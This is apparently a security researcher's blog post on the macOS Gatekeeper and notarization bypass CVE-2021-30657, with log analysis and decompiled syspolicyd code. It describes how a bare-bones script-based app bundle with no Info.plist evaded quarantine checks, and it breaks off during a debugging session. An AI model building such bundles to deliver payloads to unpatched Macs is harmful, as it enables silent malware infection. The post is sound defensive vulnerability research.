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!  " Want to play along?

I’ve uploaded a sample Proof of Concept.

...when run, it simply pops Calculator.app.

Outline
This is our 100th blog post …and it’s a doozy!

But first, go update your macOS systems to 11.3, as it contains a patch for a massive bug that affects all recent versions of macOS…a bug
that is the topic of this blog post.

This bug trivially bypasses many core Apple security mechanisms, leaving Mac users at grave risk:
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opened → owned

…and especially worrisome, turns out malware authors are already exploiting it in the wild as an 0day. Yikes!

Apple patched the bug as CVE-2021-30657, noting "a malicious application may bypass Gatekeeper
checks"

The security researcher Cedric Owens uncovered the flaw and initially reported the bug to Cupertino.
Epic find Cedric! #

Cedric notes the bug manifested while building red team payloads via the appify developer tool. He’s
posted a must read, that provides step by step details on how this bug may be practically leveraged
to surreptitiously deliver payloads in red team exercises:

"macOS Gatekeeper Bypass (2021) Addition".

However, as the underlying cause of the bug remained unknown, our blog post focuses on uncovering the
reason …ultimately discovering a flaw that lay deep within macOS’s policy subsystem(s).

There’s a rather massive amount of information presented in this blog post, so let’s break down what we’re going to cover:

Background: 
We begin the post with a discussion of common (user-assisted) infection vectors and highlight security mechanisms that Apple has
introduced to keep users safe. It is important to understand these core macOS security mechanisms, as they are the very
mechanisms the bug trivially and wholly bypasses.

Root Cause Analysis: 
The core of the blog post digs deep into the bowels of macOS to uncover the root cause of the bug. In this section, we'll detail the
flaw which ultimately results in the misclassification of quarantined items, such as malicious applications. Such misclassified apps,
even if unsigned (and unnotarized), will be allowed to run uninhibited. No alerts, no prompts, and not blocked. Oops!

In the Wild (0day): 
Unfortunately a subversive malware installer is already exploiting this flaw in the wild, as a 0day. In this section of the post, we briefly
discuss this worrisome finding.

The Patch: 



Next, after reverse-engineering Apple's 11.3 update, we describe how Cupertino addressed this flaw. And good news, once patched
macOS users should regain full protection.

Protections & Detections: 
Finally, we'll wrap things up with a brief discussion on protections, most notably highlighting the fact that BlockBlock already
provided sufficient protection against this 0day. Here, we'll also discuss a novel idea aimed at detecting previous attacks that
exploited this flaw, and provide a simple Python script, scan.py, to automate such detection!

Background
The majority of Mac malware infections are a result of users (naively, or mistakenly) running something they should not. And while such
infections, yes, do require user interaction, they are still massively successful. In fact, the recently discovered Silver Sparrow
malware, successfully infected over 30,000 Macs in a matter of weeks, even though such infections did require such user interactions. (See:
“Mysterious Silver Sparrow Malware Found Nesting on 30K Macs").

And how do malware authors convince such users to infect themselves? Ah, in a myriad of creative, wily, and surreptitious ways such as:

Packaged with shareware: 
Example(s): OSX.InstallCore, and countless other adware.

Malicious search results: 
Example(s): OSX.Shlayer, OSX.SilverSparrow, etc.

Pirated/cracked applications 
Example(s): OSX.iWorm, OSX.BirdMiner, etc.

Fake (Flash) Updaters / Applications 
Example(s): OSX.Shlayer, OSX.Siggen, etc.

Malicious email attachments 
Example(s): OSX.LaoShu, OSX.Janicab, etc.

Supply chain payloads 
Example(s): OSX.Proton, OSX.KeRanger, etc.

And many many more!

Yes, when the user falls for some of these infection vectors (e.g. pirated applications) we collectively shake our heads and wonder “well,
what did you expect!?", however other infection vectors are far more surreptitious and arguably the user is not at fault in any way. For
example, in a supply chain attack, where a legitimate software distribution website is hacked and legitimate products are trojanized, it’s
unreasonable to blame any user who inadvertently downloads and runs such software.

Regardless of who’s at fault (or not), Apple seems to feel personally attacked. Besides of course wanting what’s best for their shareholders
users, they have an image to uphold! Remember, “Macs Don’t Get Malware!” (tm).

All kidding (and criticisms) aside, over the years Apple has taken several important steps aimed at preventing any and all “user-assisted”
infections. Here, we briefly recap such major steps that include the addition of OS-level security mechanisms such as File Quarantine,
Gatekeeper, and Application Notarization. An understanding of these foundation macOS protection mechanism is important as many users,
and even some enterprises have come to (solely) depend on them. Which is fine(ish), unless Apple ships buggy code that undermines all
such protections!

File Quarantine

File Quarantine, was introduced in OSX Leopard (10.5), all the way back in 2007! When a user first opens a downloaded file such as an
application, File Quarantine provides a warning to the user that requires explicit confirmation before allowing the file to execute. The idea is
simply to ensure that the user understands that they are indeed opening an application (even if the file looks like, say, a PDF document).

For an example of File Quarantine in action let’s look at the OSX.LaoShu malware. In order to surreptitiously trick users into infecting
themselves, attackers sent targeted victims customized emails with a link to a malicious URL. If the user clicked on the link, a malicious
application (masquerading as a PDF document) would be automatically downloaded:



A malicious app (OSX.LaoShu), masquerading as a PDF (image credit: Sophos).

If the user would attempt to open what they (understandably) believed was a PDF document, File Quarantine would spring into action,
alerting the user that this was in fact an application, not a harmless PDF document:

File Quarantine in action (image credit: Sophos).

Ideally the user would recognize their (near) faux pas and the infection would be thwarted thanks to File Quarantine! It should be noted that
even today, a File Quarantine prompt is shown for approved (i.e. notarized) applications.

Gatekeeper

Unfortunately users kept infecting themselves, often by ignoring or simply clicking through File Quarantine alerts. To combat this, as well as
evolving malware infection vectors, Apple introduced Gatekeeper in OSX Lion (10.7). Built atop File Quarantine, Gatekeeper checks the
code signing information of downloaded items and blocks those that do not adhere to system policies. (For example, it checks that items
are signed with a valid developer ID):

A Gatekeeper overview

Apple’s logic was rooted in the (mis)belief that malware authors would not be able to obtain such Apple Developer IDs, and thus their
malware would remain unsigned and thus generically blocked by Gatekeeper. In the image above, note that when unsigned malware is



executed, Gatekeeper will block it and alert the user. Moreover, there is no option in the Gatekeeper prompt to allow the (unsigned) code to
run. Thus the user is protected. Hooray?

Of course it turned to be fairly trivial for attackers to obtain Apple Developer IDs and thus sign their malicious creations. For example in a
supply chain attack against the popular MacUpdate.com website, attackers trojanized and (re)signed popular software such as Firefox:

Trojanized Firefox (note: "Developer ID Application: Ramos Jaxson")

If users downloaded and ran the trojanized Firefox, Gatekeeper would allow it …as it was “validly” (re)signed. Thus the system would be
infected.

Unfortunately even today, it’s still trivial for attackers to obtain such Apple Developer IDs and thus sign their malicious creations:
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It should be noted that even if Gatekeeper is bypassed a File Quarantine prompt would still be shown to the user. Recall that such a prompt
requires explicit user-approval. Still, as Gatekeeper failed to be a panacea, Apple had to respond …yet again.

Notarization Requirements



Most recently, macOS Catalina (10.15) took yet another step at combating user-assisted infections with the introduction of Application
Notarization requirements. These requirements ensure that Apple has scanned and approved all software before it is allowed to run, giving
users, (as noted by Apple), “confidence” that the software, “has been checked for malicious components”:

A notarization overview

Note that similar to a Gatekeeper alert, in a Notarization alert there is no option for the user to allow the unnotarized code to run. Thus code
that has not been scanned and notarized by Apple will be blocked.

Notarization is clearly the most draconian, yet arguably “best” approach yet to protect macOS users from inadvertently infecting
themselves. …and rather humorously has resulted in hackers sliding into my DMs, as notarization apparently ruined their whole operation.
Ha!



Notarization vs. Hackers

Quarantine Attribute

Before we detail a logic flaw in macOS that allows an attacker to trivially and reliably bypass all of these foundational mitigations, let’s briefly
talk about the quarantine attribute. You may have been wondering, how does macOS know to analyze a file in order to possibly display a
File Quarantine, Gatekeeper, or Notarization prompt? The answer is the quarantine attribute!

Simply put, whenever an item is downloaded from the Internet (via an application such as a browser), macOS or the application that
downloaded the item, will tag it with an extended attribute, named com.apple.quarantine. You can confirm this for yourself. First
download any file via your browser and then run macOS’s “extended attribute” utility, xattr along with the path to file:

% xattr ~/Downloads/BlockBlock\ Installer.app
com.apple.quarantine

% xattr -p com.apple.quarantine ~/Downloads/BlockBlock\ Installer.app
0081;606ec805;Chrome;BCCEDD88-5E0C-4F6A-95B7-DBC0D2D645EC

Note that the -p option will print out the contents of the specified extended attribute. For the com.apple.quarantine this includes
various flags, a time stamp, the responsible application that downloaded the file, and a UUID that maps to a key in the
com.apple.LaunchServices.QuarantineEventsV* database.

Whenever the user first attempts to open a file that contains a quarantine attribute (i.e. anything downloaded from the Internet), macOS will



launch the process in a suspended state. Then, the system will perform a myriad of complex checks on the file, designed to trigger the
appropriate alert or prompt. On modern versions of macOS the user will either be shown:

1. A (File Quarantine) prompt requiring explicit user consent (if the item is validly signed and notarized).

…or

2. A (Notarization) alert informing the user that the file cannot be run (if the item is not validly signed and notarized).

If the process is allowed (signed & notarized) and the user approves it, the system will then unsuspend (resume) it …allowing it to now
execute.

If a file does not contain the com.apple.quarantine attribute, macOS assumes it's a local file. As
such, none of the checks will be performed and thus no prompts/alerts will be shown. This is by
design, and is not a bug.

While this means malware that is already on the box can download unsigned/unnotarized (second-stage)
payloads, strip the quarantine attribute, then launch said payloads without fear of alerts …the fact
remains the initial malware (or its delivery mechanism) will possess the quarantine attribute, and
thus will be subjected to such checks and/or alerts when launched.

But what if I told you there was a trivial and reliable way to bypass any and all such prompts!? …meaning, if a user simply double-clicks on
the file, game freaking over!? $

Problem(s) In Paradise
Since 2007 (when File Quarantine was introduced) macOS has alerted users whenever they attempt to launch an application that has been
downloaded from the Internet. And now, on recent versions of macOS, unless that application has been scanned and explicitly approved
(notarized) by Apple, macOS will refuse to run the file …or will it!?

Unfortunately as we’ll see, due to a subtle logic bug deep within Apple’s policy engine, it was possible to craft a malicious application that
though unsigned (and hence unnotarized), would be allowed to launch with no prompts nor alerts. No File Quarantine prompt, no
Gatekeeper alert, no Notarization alert …nothing!

In the following demo, a proof of concept application named “Patricks_Resume” is downloaded. Though it appears to be a harmless PDF
document, when opened, though unsigned, unnotarized, and quarantined, it’s able to launch Calculator.app (or really do pretty much
anything else):



Note that the exploited system is a fully patched M1 Macbook, running the latest macOS Big Sur (11.2.3).

We can confirm the downloaded app has been tagged with the quarantine attribute:

% xattr ~/Downloads/Patricks_Resume.app
com.apple.FinderInfo
com.apple.metadata:kMDItemWhereFroms
com.apple.quarantine

…and is completely unsigned (and thus unnotarized):

Unsigned, unnotarized, and quarantined



I guess, party like it’s pre-2007!? %

It appears that this bug was introduced in macOS 10.15 ...thus older versions of macOS do not seem be
vulnerable.

If I had to guess, it was likely introduced along with macOS 10.15’s new notarization logic. Thus the
goal of attempting to secure and lock down macOS wholly backfired:

...meanwhile, at Cupertino? (image credit: @urupzia)

Root Cause Analysis
Obviously this vulnerability is massively bad, as it affords malware authors the ability to return to their proven methods of targeting and
infecting macOS users. Though we’ll talk about 3rd-party methods of protections (that existed before Apple’s patch!) as well as methods of
detections exploitation attempts of this bug, first let’s walk through the process of uncovering the root cause, the underlying flaw.

Our analysis was performed on a fully patched macOS Big Sur (11.2.3) system. Due to "security"
features on M1 systems (that hinder debugging), we'll stick to a Intel/x86_64 system.

However as the flaw is a logic issue, the systems underlying architecture is irrelevant (as
illustrated in the exploitation of a M1 system in the video above).

Though the underlying flaw is found deep in the bowels of macOS, don’t worry we’ll gently ease in.

First, take a look at the our proof of concept application (PoC.app) that triggers the vulnerability (as this will be launched with no alerts nor
prompts, even though it’s unsigned, unnotarized, and quarantined).



Our proof of concept application

At first glance, it appears to be a standard macOS application.

However, if we dig deeper, we note two important observations:

1. The application’s bundle is “missing” several standard components, most notably there is no Info.plist file. (An Info.plist
file contains meta information about an application, such as the path to its executable). 

$ find PoC.app
PoC.app/Contents
PoC.app/Contents/MacOS
PoC.app/Contents/MacOS/PoC

Instead, the application is solely composed of a directory named PoC.app, a Contents subdirectory, a MacOS sub-subdirectory,
and then within that, a file whose name matches that of the (top-level) application (PoC).

2. The application’s executable component (PoC) is not a mach-O binary, but rather a (bash) script: 

$ file PoC.app/Contents/MacOS/PoC 
PoC.app/Contents/MacOS/PoC: POSIX shell script text executable, ASCII text

In terms of the first observation, it turns out that many of the standard components of an application’s bundle (e.g. the Info.plist file)
are indeed optional. In fact, it appears that the system treats anything that ends in .app as an application. To test this, simply create an
empty folder name foo.app and double-click it. Though it errors out (as it’s just a folder, with no executable content), the error prompt
confirms that the system did indeed try to launch it as an application:

...tried (and failed) to launch as an app

Turns out, if we add a Contents folder, then (within that) a MacOS folder, and finally (within that) an executable item …it will successfully
run! Though rather bare-boned, that’s apparently all that’s needed. It’s worth reiterating that without an Info.plist file, the executable
item’s name, must match the name of the application. This is how macOS is still able to ascertain what to execute when the user double
clicks the “app”. Hence, for our bare-bones proof of concept application (PoC.app), the item’s name must be PoC:



Our bare-boned PoC app's bundle structure

The "appify" developer script on github, will programmatically create such a bare-bones application
for you (that unintentionally, will trigger this vulnerability).

Before moving on, let’s ratchet up macOS application policy to its highest and most restrictive level, so that only applications from the
macOS app store are allowed. In theory this means that external applications, even if notarized will be blocked by the OS:

Application policy

It’s important though to note that the vulnerability also presents itself at lower / the default policy settings. That is to say, it is unrelated and
unaffected by the system policy settings.

Let’s now upload this “bare-bones” application, and then download it to simulate an attack. Once downloaded, we can confirm that, as
expected, the application has been automatically tagged with the com.apple.quarantine extended attribute:

$ xattr ~/Downloads/PoC.app 
...
com.apple.quarantine

$ xattr -p com.apple.quarantine ~/Downloads/PoC.app 



0081;606fefb9;Chrome;688DEB5F-E0DF-4681-B747-1EC74C61E8B6

Thus we can assume (and later confirm) that the bug is not related to a missing (or say corrupted) com.apple.quarantine attribute.
And due to the presence of this quarantine attribute, we’ll see it will still be evaluated by macOS’s “should-this-application-be-allowed-to-
run” logic.

We can also confirm (via a tools such as WhatsYourSign), that the application is unsigned (and thus also unnotarized):

PoC.app: unsigned/unnotarized

Due to the fact that the application has been tagged with a quarantine attribute, and that it is unsigned (and thus not notarized), one would
certainly think it would be soundly blocked by macOS. But as we noted early this is not the case …it’s allowed to run uninhibited.

As the quarantined application is allowed (with no alerts nor prompts), this implies a bug is somewhere in macOS’s application “evaluation”
logic. Unfortunately (for us), when a user launches an application no less than half a dozen user-mode applications, system daemons and
the kernel are involved.

In a 2016 talk at ShmooCon titled, “Gatekeeper Exposed; Come, See, Conquer", I provided a detailed (although now somewhat dated)
walk-through of these interactions:



Launching an application is a complicated ordeal

Since this talk, Apple has expanded (read: complicated) this process, adding XPC calls into its system policy daemon, syspolicyd, and
its XProtect (anti-virus) agent, XprotectService.

Instead of painstakingly walking through every single one of these interprocess and kernel interactions, let’s see if we can first zero in on the
likely location of the bug via a more passive approach …log messages!

Root Cause Analysis: To The Logs!
Recall that our problematic proof of concept application is a rather abnormal “bare-bones” application whose executable component is a
script (versus a normal mach-O binary).

Our idea to get a better sense of where the bug may lie is rather simple. While monitoring system logs let’s run:

A “normal” application 
…containing the standard application bundle files (such as an Info.plist file), as well as standard mach-O executable.

A script-based application (Script.app) 
…containing the standard application bundle files (such as an Info.plist file), but a (bash) script as its executable.

Our proof-of-concept application (PoC.app) 
…missing the standard application bundle files (such as an Info.plist file), and having a (bash) script as its executable.

All three are unsigned and downloaded from the Internet (i.e. tagged with the com.apple.quarantine extended attribute). As the
“normal” and script-based application are both blocked (as expected) ideally we’ll quickly uncover any divergent logic which can point us
decisively in the direction of a bug which allows our PoC to run!

On recent versions of macOS, Apple has unified all logging and provided a new utility (aptly named) log to parse and view all log
messages. If executed with the stream parameter, the log utility will stream messages to a terminal window as they’re generated.

Unfortunately for security and privacy reasons much of the (likely relevant) output is redacted. (You’ve likely seen the <private> keyword,
indicating some/all of the message has been redacted). However by installing a customized profile we can disable such redactions and thus
fully view any and all log messages.

 1 <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" 
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">



 2 <plist version="1.0">
 3 <dict>
 4   <key>PayloadContent</key>
 5   <array>
 6     <dict>
 7       <key>PayloadDisplayName</key>
 8       <string>Private Data Logging</string>
 9       <key>PayloadIdentifier</key>
10       <string>com.apple.private-data.logging</string>
11       <key>PayloadType</key>
12       <string>com.apple.system.logging</string>
13       <key>PayloadUUID</key>
14       <string>686285D4-CCD8-4A12-B861-080E1754E835</string>
15       <key>PayloadVersion</key>
16       <integer>1</integer>
17       <key>System</key>
18       <dict>
19         <key>Enable-Private-Data</key>
20         <true/>
21                 <key>Privacy-Enable-Level</key>
22                 <string>Sensitive</string>
23                 <key>Default-Privacy-Setting</key>
24                 <string>Sensitive</string>
25       </dict>
26     </dict>
27   </array>
28   <key>PayloadDisplayName</key>
29   <string>Private Data Logging</string>
30   <key>PayloadIdentifier</key>
31   <string>LoggingProfile</string>
32   <key>PayloadRemovalDisallowed</key>
33   <false/>
34   <key>PayloadType</key>
35   <string>Configuration</string>
36   <key>PayloadUUID</key>
37   <string>D2943CD1-75E8-4024-8525-79DF78377418</string>
38   <key>PayloadVersion</key>
39   <integer>1</integer>
40 </dict>
41 </plist>



A "private data logging" profile

For more information on the process of enabling read access to private log data, see: 

Unified Logs: How to Enable Private Data.

If your idea of fun is reading lines and lines and lines of largely irrelevant log messages, I’m sorry (for several reasons). Here, I’m only going
to present a few relevant lines from executing first the “normal” mach-O application, then the “normal” script-based application, and finally
our problematic proof of concept application. Again the goal is to identify both commonalities, and divergences in logging output amongst
the three, with the hope of finding the general location of the bug. Recall also that all three applications are unsigned and downloaded from
the Internet (and thus have been tagged with the file quarantine extended attribute).

First up, let’s attempt to launch the “normal” mach-O application. I chose the MachOView utility, grabbed off SourceForge. As we’ve set
macOS’s application policy to its highest setting (only applications from the App Store) when we run it, it is, as expected blocked:

The normal (mach-O) app: blocked

Note that if we lower the policy to allow applications from either the macOS App Store or from “identified developers” it is still blocked as it
is not notarized:



The normal (mach-O) app: still blocked

Either way, note that neither prompt provides a way to allow the application to run.

Now to the logs!

% log stream --level debug
...

syspolicyd: [com.apple.syspolicy.exec:default] GK process assessment: 
/Volumes/MachOView 1/MachOView.app/Contents/MacOS/MachOView <-- (/sbin/launchd, 
/Volumes/MachOView 1/MachOView.app/Contents/MacOS/MachOView)

syspolicyd: [com.apple.syspolicy.exec:default] GK performScan: PST: (path: 
/Volumes/MachOView 1/MachOView.app), (team: (null)), (id: (null)), (bundle_id: (null))

syspolicyd: [com.apple.syspolicy.exec:default] Checking legacy notarization
syspolicyd: (Security) [com.apple.securityd:notarization] checking with online 
notarization service for hash ...
syspolicyd: (Security) [com.apple.securityd:notarization] isNotarized = 0

syspolicyd: [com.apple.syspolicy.exec:default] GK scan complete: PST: (path: 
/Volumes/MachOView 1/MachOView.app), (team: (null)), (id: (null)), (bundle_id: (null)), 
7, 0

syspolicyd: [com.apple.syspolicy.exec:default] App gets first launch prompt because 
responsibility: /Volumes/MachOView 1/MachOView.app/Contents/MacOS/MachOView, 
/Volumes/MachOView 1/MachOView.app

syspolicyd: [com.apple.syspolicy.exec:default] GK evaluateScanResult: 0, PST: (path: 
/Volumes/MachOView 1/MachOView.app), (team: (null)), (id: (null)), (bundle_id: 
MachOView), 1, 0, 1, 0, 7, 0
syspolicyd: [com.apple.syspolicy.exec:default] GK eval - was allowed: 0, show prompt: 1

syspolicyd:  (LaunchServices) [com.apple.launchservices:code-evaluation] present 
prompt: uid=501, conn=yes, type=NotAppStore, 
op.ident=549A641B-A106-4106-AEE7-42468AB103D6, 
info.ident=050770F1-87C7-4DD6-962B-3F5280789E3A, info={path=/Volumes/MachOView 
1/MachOView.app team=(null) uid=501 bundle=/Volumes/MachOView 1/MachOView.app}

syspolicyd: [com.apple.syspolicy.exec:default] Prompt shown (7, 0), waiting for 
response: PST: (path: /Volumes/MachOView 1/MachOView.app), (team: (null)), (id: 
(null)), (bundle_id: MachOView)



Examining log messages that are generated as a result of attempting to launch the standard mach-O application reveal that Apple’s system
policy daemon, syspolicyd is ultimately responsible for determining if the application is to be allowed …or denied.

The messages from syspolicyd show a Gatekeeper (GK) scan is performed on the application, as well as a notarization check (which
returns false). The scan results are shown in the following message: “GK evaluateScanResult: 0, PST: (path:
/Volumes/MachOView 1/MachOView.app), (team: (null)), (id: (null)), (bundle_id: MachOView),
1, 0, 1, 0, 7, 0”.

…we’ll decode the meaning of these numbers shortly via reverse engineering.

In the next line of log output, we see a show prompt: 1 (true). No surprise then, that a prompt (alert) is shown to the user, describing
why the application is to be blocked. Once the user interacts with the prompt, the following log messages are generated, which confirm that
the system (as expected) then blocks the application:

% log stream --level debug
...

syspolicyd (LaunchServices) [com.apple.launchservices:code-evaluation] handle prompt 
response=Acknowledge, op.ident=549A641B-A106-4106-AEE7-42468AB103D6, 
info.ident=050770F1-87C7-4DD6-962B-3F5280789E3A, info={path=/Volumes/MachOView 
1/MachOView.app team=(null) uid=501 bundle=/Volumes/MachOView 1/MachOView.app}

syspolicyd [com.apple.syspolicy.exec:default] Terminating process due to Gatekeeper 
rejection: 20588, /Volumes/MachOView 1/MachOView.app/Contents/MacOS/MachOView

Moving on, let’s reset the logs, and execute the second application …the normal, albeit script-based app (Script.app):

% log stream --level debug
...

syspolicyd [com.apple.syspolicy.exec:default] Script evaluation: 
/Users/patrick/Downloads/Script.app/Contents/MacOS/Script, /bin/sh

syspolicyd [com.apple.syspolicy.exec:default] GK process assessment: 
/Users/patrick/Downloads/Script.app/Contents/MacOS/Script <-- (/bin/sh, /bin/sh)

syspolicyd [com.apple.syspolicy.exec:default] GK performScan: PST: (path: 
/Users/patrick/Downloads/Script.app), (team: (null)), (id: (null)), (bundle_id: (null))

syspolicyd: [com.apple.syspolicy.exec:default] Checking legacy notarization
syspolicyd: (Security) [com.apple.securityd:notarization] checking with online 
notarization service for hash ...
syspolicyd: (Security) [com.apple.securityd:notarization] isNotarized = 0

syspolicyd: [com.apple.syspolicy.exec:default] GK scan complete: PST: (path: 
/Users/patrick/Downloads/Script.app), (team: (null)), (id: (null)), (bundle_id: 
(null)), 7, 0

syspolicyd: [com.apple.syspolicy.exec:default] App gets first launch prompt because 
responsibility: /bin/sh, /Users/patrick/Downloads/Script.app

syspolicyd: [com.apple.syspolicy.exec:default] GK evaluateScanResult: 0, PST: (path: 
/Users/patrick/Downloads/Script.app), (team: (null)), (id: (null)), (bundle_id: 
Script), 1, 0, 1, 0, 7, 0

syspolicyd: [com.apple.syspolicy.exec:default] GK eval - was allowed: 0, show prompt: 1



syspolicyd: (LaunchServices) [com.apple.launchservices:code-evaluation] present prompt: 
uid=501, conn=yes, type=NotAppStore, op.ident=21E84192-6289-4C1D-812B-F4027634D2B6, 
info.ident=563BA5D4-0EC1-4A06-AC40-7565352A71BD, 
info={path=/Users/patrick/Downloads/Script.app team=(null) uid=501 
bundle=/Users/patrick/Downloads/Script.app}

syspolicyd: [com.apple.syspolicy.exec:default] Prompt shown (7, 0), waiting for 
response: PST: (path: /Users/patrick/Downloads/Script.app), (team: (null)), (id: 
(null)), (bundle_id: Script)

First note one difference …the “Script evaluation:” log message, that indicates that there is a (slightly?) different code path for
applications whose executable component is a script.

Other than that, the log messages are nearly identical to the the “normal” (machO-based) application: a Gatekeeper scan is performed that
results in the same evaluation results: “GK evaluateScanResult: 0, PST: (path:
/Users/patrick/Downloads/Script.app), (team: (null)), (id: (null)), (bundle_id: Script), 1,
0, 1, 0, 7, 0”.

Such an evaluation triggers other log messages, and of course a prompt that is shown to the user:

The normal (script-based) app: blocked

Once the user clicks OK, syspolicyd logs message related to blocking and terminating the application (e.g. “Terminating
process due to Gatekeeper...”).

Now on to running our proof-of-concept application (PoC.app), which recall is allowed to run with no alerts nor prompts. Here are the
relevant log messages from syspolicyd:

% log stream --level debug
...

syspolicyd: [com.apple.syspolicy.exec:default] Script evaluation: 
/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC, /bin/sh

syspolicyd: [com.apple.syspolicy.exec:default] GK process assessment: 
/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC <-- (/bin/sh, /bin/sh)

syspolicyd: [com.apple.syspolicy.exec:default] GK performScan: PST: (path: 
/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC), (team: (null)), (id: (null)), 
(bundle_id: (null))

syspolicyd: [com.apple.syspolicy.exec:default] Checking legacy notarization
syspolicyd: (Security) [com.apple.securityd:notarization] checking with online 
notarization service for hash ...
syspolicyd: (Security) [com.apple.securityd:notarization] isNotarized = 0



syspolicyd: [com.apple.syspolicy.exec:default] GK scan complete: PST: (path: 
/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC), (team: (null)), (id: (null)), 
(bundle_id: (null)), 7, 0

syspolicyd: [com.apple.syspolicy.exec:default] GK evaluateScanResult: 2, PST: (path: 
/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC), (team: (null)), (id: (null)), 
(bundle_id: NOT_A_BUNDLE), 1, 0, 1, 0, 7, 0

syspolicyd: [com.apple.syspolicy.exec:default] Updating flags: 
/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC, 512

The log messages start out identical to both the normal and script-based applications. However, note that the evaluation results come back
different: “GK evaluateScanResult: 2, PST: (path:
/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC), (team: (null)), (id: (null)),
(bundle_id: NOT_A_BUNDLE), 1, 0, 1, 0, 7, 0” (Recall the other two applications returned with a “GK
evaluateScanResult: 0”).

Following a evaluation result of 2 (versus a 0), no prompt-related log messages are shown …syspolicyd just logs “Updating
flags: /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC, 512” and goes on its merry way (allowing our
PoC application to run uninhibited)!

Hooray! …via log analysis we’ve identified syspolicyd as the OS-component that is both core to the application analysis and approval
process and likely contains the flaw. Moreover, we’ve pinpointed divergent logic (that appears to skip any alerts and allows the application
to run), based on a Gatekeeper scan result of a 2. #progress

Let’s now dive into a full reverse-engineering session combining static and dynamic analysis of syspolicyd in order to uncover exactly
why our problematic proof of concept application is triggering such a Gatekeeper scan result (a 2), and why this results in the alert/blocking
logic being totally skipped!

Root Cause Analysis: To The Disassembler & Debugger!
Analysis of log messages revealed that syspolicyd (as its name suggests) is the arbiter in determining if an application should be
allowed to run. Moreover divergent log messages indicated that our proof of concept was perhaps triggering a logic flaw deep within
syspolicyd …a flaw that would allow an unsigned, unnotarized application to be run, when it clearly should be resoundingly blocked!

Found in /usr/libexec, syspolicyd is fairly compact binary, though its role is imperative to system security (for example, it is also
involved in authorizing KEXTs). Luckily due to its rather copious logging, we can quickly track down the code responsible for application
assessments, which ultimately leads us to the bug.

Recall that when any script-based application is run (either the “normal” one that was blocked, or our funky PoC that was allowed), a log
message is generated indicating perhaps some (script-specific) code path . For example, for our PoC.app, syspolicyd logs: Script
evaluation: /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC, /bin/sh. This message appears to
contain the full path of the item to evaluate (the script within our app), as well as the parent or responsible process (that is to say, who is
about to run it). We find the code responsible for generating this log message within a unnamed subroutine in syspolicyd:

1 if (os_log_type_enabled(rax, 0x1) != 0x0) {
2     var_50 = 0x8400202;
3     *(&var_50 + 0x4) = r13;
4     *(int16_t *)(&var_50 + 0xc) = 0x840;
5     *(&var_50 + 0xe) = r12;
6     os_log_impl(__mh_execute_header, rbx, 0x1, "Script evaluation: %@, %@", &var_50, 0x16);
7 }

Let’s take a more comprehensive look at this subroutine, to understand its arguments, its logic, and how the (script-based) assessment will
continue. Below, is an abridged, cleaned-up, an annotated decompilation of this subroutine:

 1 int sub_10002a068(int arg0, int arg1, int arg2, int arg3, 
 2                    int arg4, int arg5, int arg6, int arg7) 
 3 {



 4   ...
 5
 6   //init process path from arg4
 7   path = [NSString stringWithUTF8String:arg4];
 8
 9   //init responsible process path from arg6
10   rpPath = [NSString stringWithUTF8String:arg6];
11
12   //init parent process path from arg5
13   pPath = [NSString stringWithUTF8String:arg5];
14
15   //grab a 'globalManager'
16   execManger = [ExecManagerService globalManager];
17
18   //log dbg msg
19   if (os_log_type_enabled(rax, 0x1) != 0x0) {
20       ...
21       os_log_impl(__mh_execute_header, rbx, 0x1, "Script evaluation: %@, %@", &var_50, 
0x16);
22   }
23
24   //alloc/init ProcessTarget object w/ path to responsible process
25   processTarget = [ProcessTarget alloc];
26   rProcess = [processTarget initWithPath:rpPath withAuditToken:rcx];
27
28   //perform the evaluation
29   [execManger gatekeeperEvaluationForUser:arg2 withPID:arg3 withProcessPath:path 
30    withParentProcessPath:pPath withResponsibleProcess:rProcess withLibraryPath:0x0 
31    processIsScript:0x1 forEvaluationID:var_70];
32
33   ...
34
35   return;
36 }

Via static analysis of this subroutine (which takes eight arguments!), we can gain a fairly comprehensive insight into its actions.

First, it converts various arguments (that have been passed in a NULL-terminated ‘C’-strings) into Objective-C NSStrings. Then retrieves
an ExecManagerService class’s globalManager. After checking if logging is enabled (and if so logging the aforementioned
"Script evaluation" message), it allocates an instance of a ProcessTarget class.

It then initializes this ProcessTarget object via a call to its initWithPath: withAuditToken method. Finally the subroutine
invokes the ExecManagerService gatekeeperEvaluationForUser: withPID: withProcessPath:
withParentProcessPath: withResponsibleProcess: withLibraryPath: processIsScript:
forEvaluationID: method.

Thanks to the verbose method name, we can rather quickly determine the meaning of the arguments passed to the subroutine. For
example, withPID:arg3 implies the fourth argument (arg3) is a pid of the process to evaluate. Also note that several values passed to
the gatekeeperEvaluationForUser: withPID: ... method are hardcoded, most notably, processIsScript is set to
0x1. This of course makes sense, as the evaluation is on a script-based application.

Though we have a decent understanding of this subroutine (and its arguments), let’s double check our conclusions via a dynamic
debugging session.

If one wants to debug Apple processes such as syspolicyd, System Integrity Protection (SIP), must be
disabled in some manner.

Interestingly (and at this point I have no idea why), if one fully disables SIP, the bug will no
longer manifest!? That is to say, with SIP fully disabled, running the proof of concept application
will result in an alert, identifying it as untrusted code from the Internet. Ironic!

For analysis reasons this is not ideal, as we’re trying to track down why (with SIP enabled) the
unsigned PoC is allowed. The solution is to leave SIP mostly enabled, but simply allow debugging.



This can achieved by executing csrutil enable --without debug in Recovery Mode:

% csrutil status
System Integrity Protection status: unknown (Custom Configuration).
Configuration:
  Kext Signing: enabled
  Filesystem Protections: enabled
  Debugging Restrictions: disabled
  ...
This is an unsupported configuration, likely to break in the future and leave your 
machine in an unknown state.

Note that as macOS 11’s csrutil appears broken, one must side-install macOS 10.15. Then boot into its
recovery mode, run its csrutil to set the SIP flags. On Intel-based Macs this will be applied to
any/all installed OS. Not so on M1 systems.

Once SIP has been configured to allow for the debugging of Apple processes, let’s attach to syspolicyd, set a breakpoint on the
(unnamed) subroutine, then launch our quarantined PoC.app

% !ps
ps aux | grep syspolicyd
root 138  /usr/libexec/syspolicyd

% sudo lldb -p 138
(lldb) process attach --pid 138
Process 138 stopped
